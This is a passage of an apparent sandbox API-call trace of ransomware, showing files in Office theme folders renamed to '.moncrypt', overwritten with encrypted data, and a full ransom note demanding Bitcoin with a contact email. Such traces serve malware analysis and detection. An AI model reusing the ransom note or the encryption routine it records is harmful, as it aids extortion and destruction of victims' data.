lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0053.780] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0053.780] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0053.780] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0053.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0053.781] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0053.781] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.moncrypt")) returned 1 [0053.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.782] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0053.782] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x8573 [0053.782] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0053.782] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0053.806] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.806] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.806] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.806] GlobalUnlock (hMem=0x440004) returned 0 [0053.806] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0053.806] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.807] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.807] GlobalUnlock (hMem=0x440004) returned 0 [0053.807] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0053.807] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.807] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.807] GlobalUnlock (hMem=0x44000c) returned 0 [0053.807] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.807] GlobalUnlock (hMem=0x440004) returned 0 [0053.807] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.807] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.807] GlobalUnlock (hMem=0x440004) returned 0 [0053.807] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0053.807] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.807] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.807] GlobalUnlock (hMem=0x440004) returned 0 [0053.808] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0053.808] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0053.808] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0053.808] SetFilePointer (in: hFile=0x18c, lDistanceToMove=34163, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x8573 [0053.808] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0053.808] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0053.808] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0053.819] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0053.819] CloseHandle (hObject=0x18c) returned 1 [0053.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.820] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0053.820] CloseHandle (hObject=0x18c) returned 1 [0053.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0053.821] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0053.821] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.821] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.821] GlobalUnlock (hMem=0x440004) returned 0 [0053.821] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.821] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.821] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.821] GlobalUnlock (hMem=0x440004) returned 0 [0053.821] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.821] GlobalUnlock (hMem=0x44000c) returned 0 [0053.821] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0053.821] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x413cbac0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x413cbac0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x413f1c20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0053.821] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0053.821] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0053.822] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0053.822] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.822] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0053.822] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0053.822] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0053.822] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0053.822] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0053.842] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0053.842] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0053.842] CloseHandle (hObject=0x18c) returned 1 [0053.843] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0053.843] GetLastError () returned 0x12 [0053.843] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0053.843] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.843] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.843] GlobalUnlock (hMem=0x44000c) returned 0 [0053.843] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.843] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.843] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.843] GlobalUnlock (hMem=0x44000c) returned 0 [0053.843] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.843] GlobalUnlock (hMem=0x440004) returned 0 [0053.843] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x413f1c20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x413f1c20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0053.843] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0053.843] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.843] GlobalLock (hMem=0x440004) returned 0x550170 [0053.843] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.843] GlobalUnlock (hMem=0x440004) returned 0 [0053.843] GlobalLock (hMem=0x440004) returned 0x550170 [0053.843] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.843] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.843] GlobalUnlock (hMem=0x440004) returned 0 [0053.844] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.844] GlobalUnlock (hMem=0x44000c) returned 0 [0053.844] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.844] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x413f1c20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x413f1c20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.844] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.844] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.844] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.844] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.844] GlobalUnlock (hMem=0x44000c) returned 0 [0053.844] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.844] GlobalLock (hMem=0x440004) returned 0x557b88 [0053.844] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.844] GlobalUnlock (hMem=0x44000c) returned 0 [0053.844] GlobalHandle (pMem=0x557b88) returned 0x440004 [0053.844] GlobalUnlock (hMem=0x440004) returned 0 [0053.844] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.844] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x413cbac0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x413cbac0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x413f1c20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0053.844] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.844] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.844] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.844] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.844] GlobalUnlock (hMem=0x440004) returned 0 [0053.844] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.844] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.844] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.844] GlobalUnlock (hMem=0x440004) returned 0 [0053.845] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.845] GlobalUnlock (hMem=0x44000c) returned 0 [0053.845] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.845] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.845] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.845] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.845] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.845] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.845] GlobalUnlock (hMem=0x44000c) returned 0 [0053.845] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.845] GlobalLock (hMem=0x440004) returned 0x557b88 [0053.845] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.845] GlobalUnlock (hMem=0x44000c) returned 0 [0053.845] GlobalHandle (pMem=0x557b88) returned 0x440004 [0053.845] GlobalUnlock (hMem=0x440004) returned 0 [0053.845] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.845] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bfd200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bfd200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x19434, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.ELM.moncrypt", cAlternateFileName="SATINE~1.MON")) returned 1 [0053.845] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.845] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.845] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.845] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.845] GlobalUnlock (hMem=0x440004) returned 0 [0053.845] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.845] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.846] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.846] GlobalUnlock (hMem=0x440004) returned 0 [0053.846] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.846] GlobalUnlock (hMem=0x44000c) returned 0 [0053.846] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.846] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.INF", cAlternateFileName="")) returned 1 [0053.846] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.846] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.846] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.846] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.846] GlobalUnlock (hMem=0x44000c) returned 0 [0053.846] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.846] GlobalLock (hMem=0x440004) returned 0x557b88 [0053.846] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.846] GlobalUnlock (hMem=0x44000c) returned 0 [0053.846] GlobalHandle (pMem=0x557b88) returned 0x440004 [0053.846] GlobalUnlock (hMem=0x440004) returned 0 [0053.846] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.846] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8638, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0053.846] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.846] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.846] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.846] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.847] GlobalUnlock (hMem=0x440004) returned 0 [0053.847] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.847] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.847] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.847] GlobalUnlock (hMem=0x440004) returned 0 [0053.847] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.847] GlobalUnlock (hMem=0x44000c) returned 0 [0053.847] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.847] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8638, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0053.847] GetLastError () returned 0x12 [0053.847] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0053.847] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0053.847] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0053.848] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0053.848] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.848] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.848] GlobalUnlock (hMem=0x44000c) returned 0 [0053.848] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.848] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.848] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.848] GlobalUnlock (hMem=0x44000c) returned 0 [0053.848] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.848] GlobalUnlock (hMem=0x440004) returned 0 [0053.848] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.848] GlobalLock (hMem=0x440004) returned 0x550170 [0053.848] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.848] GlobalUnlock (hMem=0x440004) returned 0 [0053.848] GlobalLock (hMem=0x440004) returned 0x550170 [0053.848] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.848] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.848] GlobalUnlock (hMem=0x440004) returned 0 [0053.848] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.848] GlobalUnlock (hMem=0x44000c) returned 0 [0053.848] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, 